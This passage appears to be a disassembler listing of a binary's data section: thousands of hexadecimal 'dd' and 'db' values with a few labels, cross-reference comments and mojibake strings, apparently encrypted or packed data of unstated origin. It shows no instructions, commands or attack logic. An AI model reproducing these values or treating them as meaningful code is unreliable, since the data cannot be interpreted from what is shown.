0DFED4B6Fh, 0F9A10E5Bh dd 9E809951h, 0FFA99724h, 0C2FB6704h, 0ECC34A39h, 1B23C8E5h dd 932025BFh, 0DE90B000h, 4700FB5Ah, 16C356C5h, 715C9Ch dd 6FA18F2Ah, 69EB5D7h, 0D5520B00h, 0F71CEEADh, 0D1B60062h dd 0EDFBF43Ah, 98004BBBh, 0EBD3E088h, 3AE2D64Ah, 4200903Bh dd 816CF68Ah, 8605D18h, 0A6E08F70h, 0A40E001Dh, 5A9EEE3Fh dd 1403D23Eh, 1891AF65h, 0F7E5E0C4h, 0B33B03EBh, 0B44D497Ch dd 8ED860F7h, 6C2694F6h, 0AD87AC1Ch, 572042EBh, 18AC620Bh dd 49760FB9h, 3D308574h, 3AB0E98Fh, 0D4EF00D9h, 0E365CB2Dh dd 0E5284D84h, 9E154C58h, 8C85EDh, 4441D7BBh, 1F47B0C9h dd 94FE512h, 30059DCh, 96F7C31Dh, 3D084400h, 5F6942F8h dd 0DE8C3D97h, 0C5DD7100h, 3FE999A6h, 80FDB439h, 0A23E3A9Eh dd 3F4D3453h, 3F4C5D7h, 24AE055Ch, 0E3D09052h, 0C6B8AB4Ah dd 5D91F80Fh, 11A0802Eh, 5CE172D8h, 1C032D2Dh, 486D999Dh dd 66683DE8h, 2C826500h, 26ECDF11h, 1EE60063h, 2498610h dd 0F00DA55h, 0DFE3BFDh, 77EDBFBh, 8A56986Ch, 89680E9h dd 0DAF63C5Dh, 0A4A69C03h, 80F4C637h, 3438E0h, 0EABF1350h dd 3A3CCA54h, 6BFB247Bh, 3BD59C02h, 5FC66088h, 0B481022Dh dd 97833DC3h, 0E7D4B8A0h, 0B500E867h, 450F275Bh, 0E6CBF710h dd 48D0A02Bh, 0B0E000F2h, 0B7AC0998h, 1801FF02h, 0A5184D3h dd 49808E64h, 0B416E894h, 1B00A887h, 5141F3B6h, 231A3E5h dd 0D4F9DFC9h, 0F4A02AFDh, 0BEE9602Bh, 0C3E4D500h, 0D4DE7FEh dd 0A69D03F9h, 0AA9515D4h, 0B098F4A0h, 576B0B00h, 238E161Eh dd 37EB0007h, 3BFE4B21h, 0CB185DDAh, 6BA0CFA4h, 67A135E3h dd 61C0BFB8h, 0B75BB963h, 0F2790C00h, 400173C0h, 5AC4E348h dd 6DF8F065h, 1DEA1DF4h, 987900DDh, 477FD839h, 8AA1F6A3h dd 5DE830F7h, 44C35000h, 0AB9E8998h, 0CEF60051h, 202499F5h dd 91F7756h, 898FA5E4h, 67AE9DD0h, 2DE57107h, 4D7736C0h dd 0C470043h, 0F7341E2Eh, 0C500F8DCh, 18692AACh, 7D4976h dd 3C90ABBEh, 0CA9A0BF1h, 6310E261h, 5F205D81h, 2D6E00B3h dd 404C216Fh, 8072C405h, 0A36551Eh, 37ADBC00h, 0E29AA963h dd 0C7B0005Eh, 0C6337754h, 0CE8765Ch, 1E79080Fh, 119D00F2h dd 3E9CA21h, 71379577h, 0F6F8D348h, 0EA0E1572h, 6034D95Ah dd 0C7F3987Fh, 52CB0076h, 0B48DE0E1h, 35F8B12Eh, 0DCAF7400h dd 4FBB7308h, 0E79E0067h, 15EC8599h, 8D009DE4h, 0AC4BDDADh dd 94513Ch, 0DA5AE789h, 0FA6EE9B6h, 0A93D4000h, 65302128h dd 0D1CE3E90h, 0B1C9860h, 0E00D03E4h, 30C89C73h, 52DCF0h dd 994B91B4h, 380BB6CDh, 0EF0769FCh, 207E6F2Ch, 0CA1790DAh dd 4237B303h, 58110063h, 0AD78EB89h, 0AC1547C8h, 38096E9h dd 6C59BB6Eh, 71FA802Ch, 9F2D0079h, 549BF587h, 103CEF35h dd 0A09A87C3h, 5FE0BC1Ah, 2E41B1h, 506DFB72h, 766CB6F9h dd 0DCCF3518h, 13BDA1C1h, 0BC71DBh, 8819ACE9h, 0DE00EC91h dd 42359E1Ch, 50EF1DC7h, 0EA150C6h, 1F2DC447h, 1AA77BE1h dd 95A8802Bh, 59B31CAFh, 3380012Fh, 8C84525Eh, 4916D4E4h dd 50E741C1h, 45704139h, 0D4592642h, 0DAF4003Ch, 0FB5153A8h dd 73858D04h, 89C065D8h, 0EF4D59h, 3BCF062h, 9C805A20h dd 81CCF70Ah, 7E868C3Bh, 3D614835h, 0A9000FAEh, 752BDBB7h dd 18C573F9h, 80C05B49h, 0CE3F8E8h, 2C0956ECh, 0CC0072B8h dd 3C2D7CF7h, 3277E797h, 0BF59C986h, 0CCAA6D40h, 20B73601h dd 0F1403401h, 129FF2FCh, 99667Ch, 942646EFh, 6800D329h dd 7383D007h, 0F1A43A8h, 8418981Ch, 0DC04410Ah, 932D510Fh dd 0B4BC823Eh, 2E075D14h, 0B085378Eh, 617E6BD5h, 32008479h dd 430ED640h, 78C868h, 0DFDA711Ah, 6C43E86h, 0D900927Eh dd 16EC6244h, 18A28Ah, 6E66BC9Eh, 6172323Ah, 750085E8h dd 48FA4EB8h, 0EEB682h, 24406D55h, 545F73DCh, 0F49B60FBh dd 89D0AE00h, 0DDC99102h, 0E498127Ch, 629100EDh, 7B3D1A8Ah dd 44233900h, 0EEF06B93h, 0BDCE07B1h, 902A67F3h, 5181FDF6h dd 0A7009A77h, 19111E3Fh, 72B4C5h, 209DC83Dh, 0F5DE7F4Eh dd 8379EDF4h, 2682CF00h, 6CC51397h, 38CC03E6h, 40C9697Fh dd 6E75D3A8h, 7B37095h, 0DC0B5AB0h, 70807071h, 0A3149FC0h dd 0FD09D0Eh, 9802606Fh, 3EBCC710h, 24007638h, 0F35A4FDEh dd 0E7009326h, 58D0DA78h, 625F55h, 744B22BBh, 8B2BE9BEh dd 0E962126h, 65A17100h, 104884h, 4C839F08h, 863F780Eh dd 5F9A5A02h, 7F63E2F1h, 0BA25D740h, 37F1300h, 0A49F24F0h dd 0E51600B7h, 9B1CC7EFh, 0C200AC8Ch, 3343BD8h, 273707h dd 26FE3963h, 590D42EAh, 0FC6CCF00h, 36EEB184h, 1FBB7076h dd 870B4F9Ch, 309616F4h, 8E86A8BFh, 5DF66E00h, 4D8F19BDh dd 7DDF0065h, 0DE84A2FAh, 0B100A810h, 8B2E5AA3h, 73F516BBh dd 41981E56h, 57A00C3h, 1B67621Ch, 503DDE00h, 0B2268B32h dd 0FA510BD5h, 2E00E575h, 2CACC3ADh, 9C8A4103h, 0A90A6A3Eh dd 14E04428h, 0FA602C5Dh, 9D1F0038h, 232725C8h, 0BD070807h dd 7590CA65h, 7D4EAE74h, 725A0057h, 0CD9D7F24h, 0BA00397Ch dd 5367EE16h, 0BFF163h, 0C3F03034h, 0C55A7828h, 65197217h dd 9512DE00h, 541EF3h, 0F95FEA2Dh, 3860417Fh, 92000179h dd 0BF6D18E5h, 0F991FB5h, 54B4D9FDh, 0CCF5E2E0h, 0FA014711h dd 3DE15F2Bh, 0C8D768C1h, 311E99h, 73861A48h, 0FB7AA9B4h dd 0BA000FE2h, 7152966Bh dd 0BE88E0h, 194EA8B7h, 0F8FEE984h, 5049BC1Ch, 0DC0FA300h dd 75BB51CFh, 2B530279h, 75287F4Dh, 43ECC040h, 2E21E700h dd 0BA1065F4h, 660B00B4h, 858AAFB8h, 0D25413CCh, 0E700F9F8h dd 266827C9h, 2F069Ah, 46B0EC7Bh, 0CCDF8538h, 0A2B2AC00h dd 8109F390h, 0C070FFh, 12D826EFh, 8AAC71Eh, 587D44F4h dd 964F0B7h, 0A3DD4B56h, 0B7808003h, 0C59016F8h, 5917A902h dd 608EC125h, 0FA9D44h, 0F78515Bh, 1AFBD8ECh, 914F700h dd 0DC5F3C2Ah, 64970019h, 1E7724B1h, 8D008C87h, 9BA255C3h dd 0E6AEE856h, 0DF9900C1h, 0F8772A01h, 0DC009298h, 0C4BCC510h dd 10DA9E7h, 0CC5824B8h, 0CC0E40AAh, 59260C36h, 88304D07h dd 3F1C884Bh, 0F6008E2Eh, 64BCE240h, 7E000F3Eh, 0E8FA3CD8h dd 0BB09EDh, 2E14D313h, 0A2F51C16h, 4E7C5200h, 6D469876h dd 98490EAh, 3C6F35EFh, 0D2F18000h, 4800D114h, 0E8ED4174h dd 651E6C2h, 855EFC1Dh, 0F73C5024h, 0CD372850h, 71030FE2h dd 0AB59926Fh, 5C400094h, 6607309Eh, 453E0867h, 27C400A9h dd 20C98BBBh, 0E8B2007Dh, 46CEFD1Ch, 577B6875h, 6024F800h dd 0E7336225h, 4AC00054h, 9D5B9128h, 0E80B022Dh, 344475h dd 6D91B28h, 74EA7F94h, 31F41CE7h, 0A17400F8h, 486EF7B3h dd 0EC5FE400h, 69D53777h, 50BC3FD0h, 0C26C8D00h, 0F9018B5Eh dd 1B930803h, 0F4216D35h, 0E43CF9C0h, 508501F8h, 0FD0DD843h dd 5A89703Fh, 7BBC6C07h, 69727ECAh, 33DA60C1h, 3601C72h dd 58A00071h, 97377A87h, 53C28C03h, 0D8E5BF14h, 0B0DE0285h dd 9B7700FCh, 0D1D582A6h, 0BE007B8Bh, 8E8C922h, 0BF2771h dd 7C8ECD3Bh, 0C609EED7h, 0E7F3B300h, 9161EFF6h, 0A27302B2h dd 128EAE6Dh, 0A53D0CC0h, 71158300h, 0F3C3F584h, 9631002Ch dd 0C73BC8B6h, 0B8001E75h, 0CD363E12h, 7BEA042h, 72AD11ACh dd 0E5FA2083h, 2618A638h, 9568CE64h, 1FA000D2h, 20371392h dd 720007B2h, 1897F8D3h, 1F68A6A9h, 2958867h, 0FABC9F31h dd 3DE27FC0h, 0D4378712h, 0D0B80C03h, 6651F8E3h, 5E6F0952h dd 0DB82CC93h, 0D880E8A5h, 0D2201118h, 9FBE133Fh, 5421EDDh dd 4040D568h, 0FE7902h, 0EF60432Ah, 0C728211Dh, 7220FCE3h dd 801E1800h, 0CD59FD90h, 7A1D00E8h, 0AB26D3Fh, 100E695h dd 2144EB18h, 876003h, 7FBD503Ah, 0E1C4B28Bh, 0A5E50B00h dd 83AD2634h, 5CD3F09Eh, 1A00E305h, 857BBF40h, 6E010FC5h dd 0C8586C03h, 49203019h, 3ACB00DCh, 8B31A73h, 33007A81h dd 600E32FFh, 39F17812h, 0A4812957h, 4742B362h, 9B647484h dd 0D0D9AB0Eh, 6A6D84A3h, 2C66A480h, 0CEC0000Bh, 65515D78h dd 250007F5h, 2730681h, 0C80AC3h, 26B9CE2Ch, 12304E60h dd 0D89D2A00h, 1421BDE8h, 8E75589Eh, 40C0B31Ch, 0FBF392EFh dd 6AB291E5h, 7CC00E5Dh, 48B7C201h, 0C9C35C3Fh, 0F4586020h dd 9F4A007Bh, 0B14180D4h, 8F05C7A8h, 0A1B4DA17h, 0F48AC0D1h dd 1357C474h, 8BC3F9h, 0CB87E362h, 0DA03C29Dh, 307C23D6h dd 0E5A0B81Ch, 0CC31C0FDh, 755C0624h, 9E21B133h, 3400E5AAh dd 3FE6BC86h, 94D415F1h, 0DB381C8Dh, 14B0E380h, 0CCBAB83Ch dd 60F88341h, 0E5FF000Dh, 19DF7BEAh, 980E135Bh, 23762459h dd 9860BF84h, 0FD27F0h, 0AFC4784Ch, 2CB9C9CEh, 20002E72h dd 0D58088FAh, 289B89CDh, 3D06FDFh, 82B9E8A6h, 22982174h dd 3C008A90h, 1FF4CA1Bh, 1FE18BCEh, 4131525Eh, 8EB62A7Ah dd 5CF9C853h, 838F9903h, 0E6470h, 0E6444EC0h, 6F30A0C4h dd 1C1DE500h, 0CD63A8FCh, 7E101D59h, 786DD844h, 0E100DD51h dd 7491B827h, 5DF10Dh, 0A9E6E4C8h, 6BD9BBA2h, 57F038h dd 1A4D35B0h, 2D2E8D3h, 4E420980h, 91C0967Bh, 3E50F0D6h dd 587108D8h, 20AACB03h, 8BF43F3Ch, 0E529B8BEh, 8DC03BABh dd 15853E81h, 70AF083Dh, 55005A0Fh, 0CA625B46h, 37E633h dd 5615E187h, 0C13E50FBh, 0AA807150h, 11A96E00h, 97FCAED5h dd 7C9B06E8h, 208409E3h, 4D3E4EB0h, 0DEAB00DCh, 413B53C9h dd 37160063h, 523E32AAh, 4900CDFFh, 5FB5D9DFh, 1D51A78h dd 0E44DBD5Bh, 0CBE7A3AEh, 35DA12A8h, 4139E500h, 0CA6D5E03h dd 43C600F3h, 5938D855h, 1600DB54h, 87F6413Ah, 2BE467h dd 2165B368h, 449BA560h, 2B4BB3Ch, 0E7A27661h, 0D984C0BDh dd 376F0C47h, 8D212593h, 0FD78A166h, 0E9812951h, 18315140h dd 0AD860EDCh, 80CE046Ah, 9D03007Dh, 0F31BDE39h, 0FBE7A42Eh dd 5E9C5B00h, 1240579h, 7BC14137h, 0CB13B6FEh, 9BCBE9A0h dd 4710D960h, 3E6339h, 75517C7Eh dword_534544 dd 9F68B09Ch, 5EBD7701h, 79A70D76h, 704DD0F3h, 29F20F7Dh ; DATA XREF: ___:00444CB4o ; ___:00444D8Co dd 0FDE717C2h, 45CC60FBh, 0D403F993h, 16305815h, 0AF71984Dh dd 1ECBFAA6h, 985A3AD3h, 91C40EE9h, 0B1955Ch, 1F80A772h dd 54CAF5h, 0E70BAC48h, 52A11628h, 0BFF0FA1Eh, 64C0111Fh dd 95D4F454h, 6F70C032h, 0E3103B1Ch, 273C5D03h, 1139DD1h dd 92028488h, 0FC7F897Eh, 11387701h, 86188068h, 26BA272Ch dd 0C08A00A3h, 159E0CF6h, 0A003813h, 1D93C2C1h, 1CA50B8h dd 0EA089692h, 0ECC35888h, 4C0070D9h, 0F38AD713h, 7C4F0E9h dd 9DAB38Fh, 748880F4h, 3F004917h, 0DB5BDDEBh, 3A98685Dh dd 9381350Fh, 0D20E824Dh, 0AF48C446h, 0ADB8F700h, 6B645D8h dd 0C8A7022Fh, 0AA9F0F11h, 9B599140h, 98EAA928h, 0F463ED00h dd 5D1052B3h, 0BD5E0781h, 0ECFF693Eh, 0E072320h, 7156D91Eh dd 0F367CE10h, 3305008Bh, 8A2854A3h, 2E00CF78h, 0EFA5EA1Dh dd 7B24786h, 61D3294Bh, 50FAF0F0h, 0E70765D5h, 6689FC1h dd 0CF1737F0h, 0B998002Dh, 2803C527h, 0F70021F4h, 5AD67710h dd 50AC6Eh, 0F2AB9A83h, 0CBC6A46Ah, 91DAC500h, 0D30185C8h dd 8056095h, 7B16CC4Ah, 134EC101h, 0A0B41C71h, 33C8BECh dd 915B9BF0h, 609FF669h, 6E9883FFh, 8552A402h, 7D0FA5B3h dd 38C9E900h, 0CE07DC86h, 0C19DB413h, 6810C861h, 3B34F9E0h dd 0B6003981h, 0D23A3D5h, 2C126428h, 4F003F9Fh, 504C3805h dd 0EC1A00B2h, 0E8F1EC9h, 0B1EDA37h, 0E1C017EAh, 0DFD4B631h dd 38F40251h, 0D59BB17Fh, 0E2840F5h, 0B292002Ch, 3906C198h dd 0FB0E2982h, 40342403h, 129EC769h, 3C9A79CAh, 0A803056Dh dd 0FCC61768h, 0AF39BBh, 8530D8Ah, 0D029181Ch, 451BA280h dd 0B04633E3h, 0D4B00CCh, 68DFD8C5h, 7A0F8C83h, 98C66734h dd 1DE94A74h, 5F1FB908h, 8D6400BBh, 81BD26F4h, 41DBC600h dd 0A75A663Eh, 655B00BCh, 0D3D5F113h, 0C800DF2Bh, 0D75C7493h dd 95AA4Dh, 2D45E3F6h, 0CF7E679Ch, 0F5C1B200h, 65A6B90Eh dd 33E53E54h, 4FE1080h, 0A141DFC6h, 0DDE22200h, 2F61D15Ah dd 15D20036h, 0D810667Fh, 6B62A059h, 80A42338h, 0D9DD02C0h dd 9DA80108h, 51466C70h, 2CFBC89Bh, 0C2C5D700h, 6F5E79B9h dd 2A620157h, 0CEF904D0h, 43802021h, 4D01EF7Ch, 5AB6BE8Ch dd 47E467D7h, 0EA69088h, 58E3C0CEh, 317DE5C0h, 0A9000B8Ah dd 0E012C1C5h, 2E361EAFh, 0FB8D46h, 2C32F04Ah, 38C08B98h dd 7BB68C09h, 3BF41715h, 71ED00B4h, 33C4B7A8h, 0BC5CF800h dd 63265636h, 0C0420017h, 84283ABBh, 0DE00E14Fh, 0F3615D5Fh dd 73EC521h, 296A6241h, 5A1580A1h, 900E5768h, 60EF9EFAh dd 0ED20CF91h, 0F92600BEh, 0B0AFDC96h, 2E294E6Bh, 0E612034h dd 780CF7BEh db 0, 7Fh, 83h aYkdB db 'µyKD(b',0 ; DATA XREF: ___:00444BE4o ; ___:00444BF4o dw 56Bh aUcnuf db '¼î–Nãf',0 db 67h dd 0D11B9799h, 0CE2ED0CFh, 1EA0F048h, 0F5EF0C9Dh, 7B8ECE00h dd 90716D9Ch, 7267548h, 0E562DBC0h, 0C29B8584h, 0C983A8D9h dd 43E9938Dh, 0CB088076h, 0B25844Ah, 997001Eh, 83806B89h dd 6A1E2FABh, 3F009B72h, 6F78CBE4h, 0BE8A2832h, 0E7647DA4h dd 0E441E000h, 9380BB00h, 85D2685Ch, 328003Bh, 783D7E77h dd 9B017F96h, 0FD5D7B2Ch, 20B00944h, 0E81681B8h, 5902DEB0h dd 0FB7A5523h, 8580B86Eh, 66680858h, 58D0D2B8h, 170E092h dd 69852DDDh, 0DC25B1A2h, 0E32895C9h, 8400AC56h, 0C5182B5Ah dd 0EBF7F8h, 33103F62h, 0BC565C08h, 1FF60C0Dh, 254094CBh dd 62D997h, 15052744h, 57A01BD7h, 0F4AF512h, 401D2205h dd 8B958000h, 0A72A3A6Bh, 80FC0420h, 6107319Ch, 1921188Ch dd 76073088h, 0C5BFCF51h, 0F280D05Ah, 71BAE174h, 438007B4h dd 0C78BAE5Ch, 7F9510h, 0A03156DCh, 8F62CE75h, 93938110h dd 5856E004h, 99715Bh, 0A31A3C0Ah, 632202C5h, 66BE6A00h dd 0B74049BFh, 0E5100C9h, 0CD461133h, 5D003E7Bh, 19A1EADEh dd 343B13h, 0BE8BECF6h, 2EBC3C6Eh, 0AD0B5600h, 0AC09CDD2h dd 247675F0h, 143696DBh, 5B3AC1D1h, 0A2ABAE07h, 900A9039h dd 3000ACE3h, 1D28EA8Ch, 0FEA307h, 969729E1h, 8345DFFh dd 1BE5000h, 0D2D5BC30h, 0BD303EEh, 0FDAF5964h, 7AF86CD8h dd 9FCA4000h, 57CF1544h, 0EFA3015Bh, 0E50C520h, 14588378h dd 0F85CE4C2h, 75376622h, 843F28D5h, 21BC0FD7h, 9C8049A7h dd 5E837619h, 469F0D00h, 11A033Fh, 49020035h, 0C74B905Bh dd 7004812h, 8AA94C5Fh, 3BEEAB39h, 78A40351h, 0EA5D8A8Ch dd 52010380h, 73C09680h, 9004FCCh, 97E883B1h, 55E384h dd 11BEC356h, 0D1C5C622h, 7D17F703h, 911ECFB6h, 0AFE0F82Ah dd 0B50800EAh, 30556094h, 0F503213Dh, 7706CEEh, 76DAC08Fh dd 2FDF0733h, 0E0B7F49Eh, 4316D92Eh, 0FC788028h, 0F3131702h dd 0C0270A90h, 55C006h, 0B88C1DDEh, 607A661Eh, 1F38CB0Ch dd 9A40BAh, 7091DCE0h, 15314D56h, 24010900h, 3634C35Ch dd 0DB94003Eh, 0CD06AE0h, 0B4072FC2h, 5B82CDA2h, 0FF2CA020h dd 0EAD11D78h, 6D58C0CEh, 0B9ACA238h, 8AEF0E00h, 29681254h dd 434003Fh, 0CBDC84A5h, 650B661Ah, 80C5554Ch, 2D1D64BCh dd 9FB6003Eh, 0A5F2FE98h, 7A009CD0h, 93E297DBh, 527E8Bh dd 384F4208h, 0D30C2829h, 0EFE48100h, 2688A50Bh, 0B4C900CAh dd 0D875A1BBh, 0D6008D94h, 83FA7052h, 199D780h, 0EFFC5501h dd 404BB73Bh, 9B26BFE0h, 877C960Eh, 0BA00F7ACh, 18098AE6h dd 0E7EB0069h, 91498DF7h, 59129FC9h, 18076051h, 0FDD0C199h dd 7FF2905h, 1FC2A3E7h, 1DC37158h, 0CA56870h, 302861A8h dd 0EFDD00E9h, 0BF75DF72h, 0D1070DD9h, 0CE478954h, 775AD451h dd 40CB289Ch, 0AA6404Eh, 0CA00A45Dh, 6220DF41h, 9009A753h dd 8D02009Bh, 469ECFF5h, 7900196Ch, 421AEE8Bh, 17E8D85Eh dd 0CD5B01h, 879E22D9h, 8E3BA88Dh, 0C7510132h, 9CC5ADEBh dd 0AAD0188Eh, 7A03E120h, 510F189Bh, 608EE991h, 1ADD581Ch dd 2C814DDCh, 9570C700h, 5A31E38Fh, 0BE48F505h, 0F440BA3Fh dd 0C8509D30h, 6AF7007Fh, 7AE83E82h, 80904DE0h, 70493818h dd 7783E0h, 0F8D9455Dh, 0D566EABAh, 499ECB00h, 6F107F52h dd 340D48B3h, 73154B00h, 94035586h, 6C934Dh, 273D72F0h dd 0F25F817Ah, 0F50F2C9h, 313508ECh, 0D9C334C0h, 0CB0066A8h dd 0AFDDFBFCh, 3B599409h, 0DA5C4960h, 3D469B05h, 4A7C81E5h dd 0C455E874h, 4B669F00h, 92605A02h, 0C7DF01FCh, 389E3BF7h dd 0D6C16B22h, 52D08A7Ah, 1D9D0FDAh, 4540C47Ch, 70162D31h dd 0EE903600h, 56DB8CBCh, 49A400C9h, 0C341C8F8h, 0FC00F4DFh dd 244CAE83h, 0B0054692h, 0F614007Ah, 7AA33211h, 5A269835h dd 0B30F09DCh, 608D2FB8h, 4DA26F2Dh, 0B2543B47h, 0C0BC049Fh dd 1E615BFDh, 49004E86h, 1CAD275Ch, 2CAE144Fh, 0C8D4A8h dd 0F05B7190h, 4008E6Dh, 8296557Ah, 38054Eh, 52F780F5h dd 0B8CD94ADh, 0D086C0C7h, 4B5C9560h, 10908Ch, 0E0149AF3h dd 0FD1CF00Fh, 96993800h, 0B98C497Bh, 834C007Dh, 98D42EF4h dd 0CC00D66Ch, 68F65DFAh, 0D210FDh, 5AC009EDh, 0A3B45F05h dd 0FFE7FB07h, 9D3040DFh, 0A68C35h, 813A9982h, 9EFDE568h dd 0EA38B400h, 9AEF13A4h, 0A60F5BDh, 493A5C5Ch, 94F4740Eh dd 0B0A451A7h, 0D0E07807h, 0C2C6A51Eh, 5C60E480h, 259542h dd 0AA61B0F9h, 2404F750h, 1275E2C3h, 98E8D8F4h, 0E7A60093h dd 21453CB9h, 0C0F336AFh, 57E052D4h, 5F0C8400h, 0BB5355D7h dd 301D0081h, 1824759Ch, 6107B963h, 0DB066FFCh, 0F3420950h dd 0FD71B0h, 0EB4B72EEh, 4802E88Eh, 0A07E7B01h, 0BF42A616h dd 179B4F4h, 0FB280F3Dh, 0D425D09Eh, 8D0080CAh, 0DAF3AB21h dd 75AC0396h, 0A8312836h, 70E90092h, 9B9D14FBh, 0C6009383h dd 2C61C7FDh, 3EBF607h, 4A6B8515h, 0FBD0E1F1h, 0B07A894Dh dd 0FDAA2004h, 2A837840h, 0C0709F8Dh, 2E3612h, 0FFCD583Fh dd 9825A6FBh, 83E25DE6h, 0C00B1FAh, 29148D35h, 0C2B6EFEh dd 85123BE3h, 0C5E0FA10h, 0F51D9B00h, 0F6674299h, 59BD00DCh dd 654F7D19h, 0AB0FA2A8h, 4063C969h, 0DF5BF328h, 3B20086h dd 8331D952h, 0AE009EA9h, 0DC25DE09h, 30E65Ah, 7446CA43h dd 0A9DB05Eh, 0CFB7FA0Eh, 113C81CDh, 7BE464FCh, 49540031h dd 0EDD34251h, 0BF07473Ah, 5CEA0F8h, 0E09D0C03h, 0F092D1h db 73h byte_534E45 db 35h, 0EBh, 13h ; DATA XREF: ___:0044492Co ; ___:00444C54o dd 790DF99Bh, 80A6F83Fh, 0DBE8E4D6h, 9973D2h, 3F4F3E86h dd 193794F5h, 7556EC00h, 0ADEE806Ch, 1C8E7830h, 8202AAh dd 8124F1E4h, 5703097Eh, 0E758D0D1h, 7C8F88B6h, 0E4F243h dd 0CD15E064h, 99769F78h, 9CF8FE07h, 17E4B134h, 33307F80h dd 432C0203h, 53CE150Fh, 42E196C0h, 8027013Bh, 9241F90Eh dd 77485273h, 958807CCh, 0D7E0327Ch, 6436A03Eh, 0AF00102Eh dd 0A9C2A671h, 124C222Bh, 0FFBCAE84h, 0BA2C5003h, 1644D0F3h dd 0EE333D68h, 52082302h, 0A680ECA4h, 0E5FACE84h, 0B21FD87Dh dd 0CC40B724h, 5AD5DE11h, 740A2CFDh, 315F014Bh, 70E51698h dd 0C000F87Bh, 0A441C6BEh, 3BD30F48h, 0FA02B53Fh, 862A05BCh dd 0D7B6CB40h, 4EAD9500h, 2CA1F481h, 0DD171222h, 90090F67h dd 0A600C70Fh, 0A276A540h, 7E50448h, 72F92BBAh, 0E70AA180h dd 0BD45077Dh, 1FEC4EA6h, 0EA2370C0h, 6A008073h, 88DB9B8Dh dd 0CA510BDh, 2EDFD0Ch, 0A8000468h, 0A90AE4B7h, 1E70F97h dd 2F924B6Dh, 0C8331F90h, 5003460Bh, 3FF17F29h, 1113C3Eh dd 4FFBBC03h, 6AA0E5A2h, 83308896h, 21E3B025h, 0FD160049h dd 41A74E32h, 0FC06B340h, 9E0FD331h, 959003E0h, 56264639h dd 131BECF8h, 0DCD3Eh, 0B99C06A1h, 0D4EF93h, 7DA7558Dh dd 682F4B9Fh, 0E9228200h, 7159EB36h, 0EED80030h, 5D672B16h dd 56003A4Ah, 9DA068ACh, 0B187F8h, 0C835EDDBh, 8B587951h dd 7B72E9E8h, 0C50C9400h, 0CC56F6B9h, 2FDA0097h, 4EEE2B58h dd 5D1E2E47h, 3E80BD6Ah, 0ED80C75h, 1C42F2A9h, 0C04C62D9h dd 0DAEFA6A1h, 13031EFCh, 0EE14E299h, 25AFA0AAh, 0BABDA0A5h dd 318A3AE5h, 4D661100h, 6A881737h, 64192800h, 0B1BC4A9Eh dd 0D77600B8h, 0CC626780h, 0E098212h, 0E25D9016h, 849C6099h dd 0C063B80h, 0B880B6BDh, 0EF6B2271h, 1100AE3Ch, 0B7507981h dd 28732F8Bh, 80A42BF0h, 0C99CF0h, 0A9D3F69Eh, 8420758h dd 5E82A03h, 0A03048F2h, 21765BFh, 84B990F4h, 0D0920650h dd 62C8BE60h, 9DDE1800h, 0A81F57A9h, 342B2EA5h, 0E5C40161h dd 82352F9Ah, 379B6630h, 9855C012h, 7F80EA38h, 0A5B70C9Ch dd 76910B06h, 34D3A06h, 1F107AC7h, 1ED3A7A4h, 3C930Ch dd 20AA2E5Fh, 94006291h, 0E64E4A7Ch, 1E44BB2Ch, 5C4EEh dd 49036E24h, 0E37C2F9Eh, 0B0FB6030h, 909C3DAh, 26D9718Bh dd 80229001h, 27FBEC31h, 0BA680C3Dh, 0D71B0116h, 4DCA0BD4h dd 355DF0h, 75D1A0AAh, 5481C298h, 705AE23Fh, 0E1C68F03h dd 8069CB1Bh, 0B00CE3h, 0FF1D6408h, 527A037Dh, 0F9352E1Eh dd 33102300h, 13F80AE9h, 0CDEAF4h, 3D2786B7h, 0DD0A1459h dd 0D3A4B18Eh, 0CDF5BC00h, 0E9FE681Ah, 0DBD46E80h, 9CCA2123h dd 839F2E00h, 668085D2h, 0B7630F3Ch, 7526A2C1h, 9F008976h dd 0EFEA49DFh, 0F2B590h, 7DC2891Fh, 4514EB55h, 73192D06h dd 60E706h, 8E1B13Ah, 0E4463C0Ch, 0F00DAA07h, 2AF0683Eh dd 1D481AB0h, 80FF3506h, 0F83B5956h, 0C9C0F707h, 0F50BC794h dd 99D101F0h, 4D60E535h, 0E988801Ah, 449DE45h, 3AC7E687h dd 7E80983Dh, 11C2EF1Fh, 0A0009DEDh, 60E1E84Fh, 50B691A9h dd 68CD940Bh, 13BC7247h, 8D55006Ch, 86622E3Ch, 16B9483Dh dd 0E00DCE6h, 0E95BB395h, 0C78F05C0h, 0B0EF28h, 7EFCE2A0h dd 85EF0541h, 0AA4F93A8h, 8A69040h, 0F8ED6D16h, 0D1660B8Bh dd 2802382h, 0B4A52D0Dh, 94D7D400h, 0C92B8629h, 0D54500B0h dd 73B55218h, 4D1F82E0h, 0C340CEF8h, 0C386E5Bh, 0ACF91F91h dd 392A80B2h, 0DA1E813h, 75FBE3Bh, 0E2F3A760h, 0B36DC0AFh dd 0CB7C73h, 44CF8F0Fh, 773013E7h, 2AA9A000h, 0A4E376FFh db 8Dh, 0 aEEhQas db '¥ì…HŸ€‘',0 ; DATA XREF: ___:0044487Co ; ___:00444C94o a9Xrki db '9"',0Ah db 'XàŠi',27h,0 dd 81F6C930h, 66E6BECCh, 5E004677h, 7A9D58DBh, 32D0F8h dd 6272ECDFh, 5B2602BAh, 2E90BF00h, 56D23691h, 0CB860081h dd 3AF6CCD8h, 4200C187h, 0DFF4ABA5h, 30583292h, 0A240C3CEh dd 0C1004A1Ch, 0C4023630h, 0FE4CCAC0h, 55400E81h, 3580B6FAh dd 0C68C3EF1h, 0D3EB700Eh, 54C7436Ch, 1E91F02Eh, 1D2A7B29h dd 0C0278E92h, 0D5B4999Bh, 76397FEFh, 91DD8089h, 703301E0h dd 16833AE4h, 0DBC42480h, 96C6D685h, 2ADCD21Fh, 12568C9h dd 0E878F33Dh, 3083C7D4h, 3F509F12h, 0A63E3159h, 47B28328h dd 0A0EDBD5Bh, 259F81h, 656C78AEh, 972C7398h, 14D3F100h dd 4D02C7C4h, 0C379004Ch, 0A731B394h, 5D009619h, 1E5C136h dd 156543Ah, 2C2843A2h, 0E85794B3h, 0CF3CAE8Bh, 80BA3849h dd 465C938h, 73A6C8F6h, 2B72008Ah, 800AEA9Dh db 90h byte_535345 db 86h, 3, 0DBh ; DATA XREF: ___:00444A08o ; ___:00444CECo dd 3B03FCB7h, 225890AEh, 623D0028h, 2A773A89h, 61244179h dd 0B00A0225h, 7D43C0ABh, 0E5A8C8D1h, 0C06607A1h, 3C1C57B8h dd 0D9003ED8h, 71ED6EEEh, 52F52Bh, 1E324BB6h, 2615EB1h dd 0A300BBFAh, 2E8453FFh, 14E2233h, 0B4463E92h, 0F068E41Ch dd 0BD287BF7h, 5900C1C2h, 90913829h, 0B8096Bh, 